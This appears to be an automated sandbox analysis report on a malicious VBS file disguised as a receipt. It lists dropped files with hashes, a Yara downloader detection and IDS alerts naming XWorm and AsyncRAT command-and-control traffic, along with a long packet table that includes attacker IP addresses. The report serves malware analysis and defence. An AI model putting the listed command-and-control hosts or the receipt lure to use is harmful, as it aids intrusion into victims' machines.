Preview:	..'.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....'.....'. .C.o.p.y.r.i.g.h.t. .(.c.). .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n... .A.l.l. .r.i.g.h.t.s. .r.e.s.e.r.v.e.d.......'.....'. .A.b.s.t.r.a.c.t.:.....'. .p.r.n.p.o.r.t...v.b.s. .-. .P.o.r.t. .s.c.r.i.p.t. .f.o.r. .W.M.I. .o.n. .W.i.n.d.o.w.s. .....'. . . . . .u.s.e.d. .t.o. .a.d.d.,. .d.e.l.e.t.e. .a.n.d. .l.i.s.t. .p.o.r.t.s.....'. . . . . .a.l.s.o. .f.o.r. .g.e.t.t.i.n.g. .a.n.d. .s.e.t.t.i.n.g. .t.h.e. .p.o.r.t. .c.o.n.f.i.g.u.r.a.t.i.o.n.....'.....'. .U.s.a.g.e.:.....'. .p.r.n.p.o.r.t. .[.-.a.d.l.g.t.?.]. .[.-.r. .p.o.r.t.]. .[.-.s. .s.e.r.v.e.r.]. .[.-.u. .u.s.e.r. .n.a.m.e.]. .[.-.w. .p.a.s.s.w.o.r.d.].....'. . . . . . . . . . . . . . . . . . . .[.-.o. .r.a.w.\|.l.p.r.]. .[.-.h. .h.o.s.t. .a.d.d.r.e.s.s.]. .[.-.q. .q.u.e.u.e.]. .[.-.n. .n.u.m.b.e.r.].....'. . . . . . . . . . . . . . . . . . . .[.-.m.e. .\|. .-.m.d. .]. .[.-.i.

C:\Users\user\AppData\Local\Temp\oahxgk.vbs

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	62556
Entropy (8bit):	3.4155079416380913
Encrypted:	false
SSDEEP:	384:FZAaML0kiouu7NBn07NBvVnpM6vBIRpugkR6jM1L7Kc0Z6EXJg:7xauu7Tn07Tdi6vBIRggkRq9ZJZg
MD5:	4DA38B8DF2B6C04E0168382F11C83E51
SHA1:	FFC5EBBD036A0B3966F4E73A242C1C4A1614063D
SHA-256:	A3A9D0F447DA4438A307565D192D9A13187B2286999E906582E6569CA7327035
SHA-512:	EF579ED05982A012BBB8E5052726B38F7518B3AB983C4C1D4689AA7C17F70D36EDFC88DD179BB0DB02AFD1F46E68F8B61A0A1CA7F50F1B6DF7EB1765DB991AF6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_VBS_Downloader_Generic, Description: Yara detected VBS Downloader Generic, Source: C:\Users\user\AppData\Local\Temp\oahxgk.vbs, Author: Joe Security
Preview:	..'.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....'.....'. .C.o.p.y.r.i.g.h.t. .(.c.). .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n... .A.l.l. .r.i.g.h.t.s. .r.e.s.e.r.v.e.d.......'.....'. .A.b.s.t.r.a.c.t.:.....'. .p.r.n.p.o.r.t...v.b.s. .-. .P.o.r.t. .s.c.r.i.p.t. .f.o.r. .W.M.I. .o.n. .W.i.n.d.o.w.s. .....'. . . . . .u.s.e.d. .t.o. .a.d.d.,. .d.e.l.e.t.e. .a.n.d. .l.i.s.t. .p.o.r.t.s.....'. . . . . .a.l.s.o. .f.o.r. .g.e.t.t.i.n.g. .a.n.d. .s.e.t.t.i.n.g. .t.h.e. .p.o.r.t. .c.o.n.f.i.g.u.r.a.t.i.o.n.....'.....'. .U.s.a.g.e.:.....'. .p.r.n.p.o.r.t. .[.-.a.d.l.g.t.?.]. .[.-.r. .p.o.r.t.]. .[.-.s. .s.e.r.v.e.r.]. .[.-.u. .u.s.e.r. .n.a.m.e.]. .[.-.w. .p.a.s.s.w.o.r.d.].....'. . . . . . . . . . . . . . . . . . . .[.-.o. .r.a.w.\|.l.p.r.]. .[.-.h. .h.o.s.t. .a.d.d.r.e.s.s.]. .[.-.q. .q.u.e.u.e.]. .[.-.n. .n.u.m.b.e.r.].....'. . . . . . . . . . . . . . . . . . . .[.-.m.e. .\|. .-.m.d. .]. .[.-.i.

**\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.576313206984032
Encrypted:	false
SSDEEP:	3:BHlPz5I2Y1AnqNlulLn:BFiGqNlqLn
MD5:	9B8D1FAA620DB41C08EF702D6C4C9180
SHA1:	FEE347D396449A33577F3AEA737DF83CA57437C2
SHA-256:	A8878D8614B8EFF0F3D3BF4552E51A10FF20B0C086762EA097A415C2077AC5FB
SHA-512:	3ADA06F7ABA8343AE4F5100BFA35FC939CE1D99491C9EF8D4C3F3EF5163D03EA8300698322F13623B63EB7D96956DC5E90B2D012E490E6914877E8236763C235
Malicious:	false
Preview:	....3.5.8.0.7.5.....\MAILSLOT\NET\GETDC0CD566AE.................

\Device\Mup\user-PC\PIPE\samr

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.053374040827532
Encrypted:	false
SSDEEP:	3:rmHD/tH//lllLGlA1yqGlgZty:rmH2oty
MD5:	080E701E8B8E2E9C68203C150AC7C6B7
SHA1:	4EF041621388B805758AE1D3B122F9D364705223
SHA-256:	FE129AE2A7C96708754F6F51091E6E512C9FEACA1042A1E9DB914C651FEB344D
SHA-512:	C11D88B8E355B7B922B985802464B693F75BA4C2A62F9137A15842CA82F9B6B3ED13059EDC0DF1C04E7DE43719D892B4C0D22BB67BE0D57EAB368BA1BC057E79
Malicious:	false
Preview:	........t.......................xW4.4.....#Eg.......]..........+.H`........xW4.4.....#Eg......,..l..@E............

\Device\Mup\user-PC\PIPE\wkssvc

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.197495674057526
Encrypted:	false
SSDEEP:	3:rmHD/tH//lllK3yeM1y73ye0Zty:rmHW3HL73HIty
MD5:	259100A440893380B3A1ED7A2728655E
SHA1:	D371C8ED411938D4E5692B7A97487F3C450F6006
SHA-256:	F6AF57B7BEB156CF5FE1FCA5A48843E9162A259419CF76C321A2C5C1F802B833
SHA-512:	E5ADDE270BA3B28217778AC7E28DD91D78543BD3FC9A8D1106027DE2CF1774128B5C346D1712E575D1F9741B06BC80A9311855EDB20079A8BE818C563493D8CD
Malicious:	false
Preview:	........t..........................k...6.3F..~4Z.....]..........+.H`...........k...6.3F..~4Z....,..l..@E............

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.415584040909041
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	Tapril-30-receipt.vbs
File size:	62'414 bytes
MD5:	4e4eafea09057c5b1786f452756aee35
SHA1:	a1220c6a137f5ecdcb71967ff682159d6498aaa4
SHA256:	b74412166bf983a8e0d6ec4efe375eaaa1adb0404749dd30754c018ff623e5fb
SHA512:	055974b4870ed2e15afad3533c1d9a0396b0293b8d26648c38e0fb5ce5376df92b051547a554303476d1d627cba63cd905bb01d200b09bd274103f2ce7f114b8
SSDEEP:	384:FZAaML0E+2+2kEnpMQ9ZIRpuSk76jM1L7Kc0ZCEXJg:7xQViQ9ZIRgSk7q9ZxZg
TLSH:	5D536B526BEA2108B5FBBA48997A41344F3779C5AD7DC94E05CC291D0BF3E84CC60BA7
File Content Preview:	..'.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....'.....'. .C.o.p.y.r.i.g.h.t. .(.c.). .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n... .A.l.l. .r.i.g.h.t.s. .r

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/01/24-08:38:02.481695	TCP	2020424	ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1	443	49754	185.184.154.65	192.168.2.4
05/01/24-08:39:04.361048	TCP	2852874	ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2	8450	49743	12.221.146.138	192.168.2.4
05/01/24-08:37:54.303553	TCP	2018856	ET TROJAN Windows executable base64 encoded	443	49752	172.67.215.45	192.168.2.4
05/01/24-08:37:54.598540	TCP	2025011	ET TROJAN Powershell commands sent B64 2	443	49752	172.67.215.45	192.168.2.4
05/01/24-08:38:02.481695	TCP	2020423	ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 1 M1	443	49754	185.184.154.65	192.168.2.4
05/01/24-08:37:52.563193	TCP	2855924	ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound	49743	8450	192.168.2.4	12.221.146.138
05/01/24-08:38:09.396778	TCP	2035595	ET TROJAN Generic AsyncRAT Style SSL Cert	8500	49758	12.221.146.138	192.168.2.4
05/01/24-08:37:54.303553	TCP	2047750	ET TROJAN Base64 Encoded MZ In Image	443	49752	172.67.215.45	192.168.2.4
05/01/24-08:37:54.627049	TCP	2049038	ET TROJAN Malicious Base64 Encoded Payload In Image	443	49752	172.67.215.45	192.168.2.4
05/01/24-08:37:42.244044	TCP	2853193	ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound	49743	8450	192.168.2.4	12.221.146.138
05/01/24-08:37:10.999752	TCP	2020423	ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 1 M1	443	49742	185.184.154.65	192.168.2.4
05/01/24-08:39:04.361048	TCP	2852870	ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes	8450	49743	12.221.146.138	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 08:36:44.164452076 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:44.164499044 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:44.164572001 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:44.190548897 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:44.190596104 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:44.393111944 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:44.393198967 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:44.824400902 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:44.824429989 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:44.824961901 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:44.825017929 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:44.843765974 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:44.884128094 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476145983 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476202011 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476222038 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476238012 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476249933 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476264954 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476306915 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476308107 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476320982 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476345062 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476366997 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476377964 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476428986 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476458073 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476480961 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476488113 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476505995 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476524115 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.476830959 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.476944923 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:45.477045059 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.600301027 CEST	49732	443	192.168.2.4	172.67.19.24
May 1, 2024 08:36:45.600347042 CEST	443	49732	172.67.19.24	192.168.2.4
May 1, 2024 08:36:56.321933985 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:56.321991920 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:56.322181940 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:56.344626904 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:56.344657898 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:56.546601057 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:56.546762943 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:57.937052965 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:57.937087059 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:57.937448025 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:57.953423023 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.000112057 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271006107 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271063089 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271100998 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271116018 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271142960 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271183014 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271188974 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271194935 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271236897 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271241903 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271275997 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271306992 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271318913 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271323919 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271368027 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271369934 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271380901 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271430016 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271796942 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271847963 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271883965 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271888971 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271893978 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.271934986 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.271939993 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.272641897 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.272677898 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.272706985 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.272727966 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.272732973 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.272743940 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.272779942 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.272835970 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.272841930 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.273485899 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.273529053 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.273531914 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.273538113 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.273581982 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.273586035 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.273653030 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.273691893 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.273698092 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.274548054 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.274584055 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.274595022 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.274600029 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.274636984 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.274641991 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275125980 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275166988 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.275170088 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275178909 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275218964 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.275224924 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275257111 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275290966 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275295973 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.275300980 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.275342941 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.275927067 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.276062965 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.276118040 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.276124001 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.366029978 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.366106987 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.366136074 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.366197109 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.366208076 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.366239071 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.366270065 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.366425991 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.366480112 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.366520882 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.366576910 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.367281914 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.367321968 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.367362976 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.367369890 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.367383003 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.367404938 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.368160963 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.368223906 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.368912935 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.368941069 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.368984938 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.368993998 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.369014978 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.369801998 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.369836092 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.369862080 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.369869947 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.369895935 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.370529890 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.370569944 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.370584011 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.370589018 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.370615005 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.371448994 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.371483088 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.371504068 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.371510029 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.371534109 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.418605089 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.418648958 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.418725014 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.418752909 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.418780088 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.459889889 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.459995985 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.460035086 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.460050106 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.460221052 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.460272074 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.460278988 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.460319042 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.460824013 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.460875988 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.460881948 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.460927963 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.461628914 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.461695910 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.461724043 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.461769104 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.462361097 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.462418079 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.462496996 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.462541103 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.463221073 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.463277102 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.463299036 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.463341951 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.464039087 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.464091063 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.464838028 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.464891911 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.464986086 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.465027094 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.465694904 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.465744972 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.465866089 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.465910912 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.465912104 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.465924025 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.465950966 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.466758013 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.466806889 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.467499971 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.467545986 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.467605114 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.467647076 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.468331099 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.468384027 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.468410969 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.468451977 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.470230103 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.470278025 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.470446110 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.470446110 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.470460892 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.470505953 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.471849918 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.471872091 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.471919060 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.471925974 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.471967936 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.473582983 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.473598003 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.473660946 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.473671913 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.473716974 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.475230932 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.475245953 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.475312948 CEST	49740	443	192.168.2.4	172.67.215.45
May 1, 2024 08:36:58.475320101 CEST	443	49740	172.67.215.45	192.168.2.4
May 1, 2024 08:36:58.475359917 CEST	49740	443	192.168.2.4	172.67.215.45
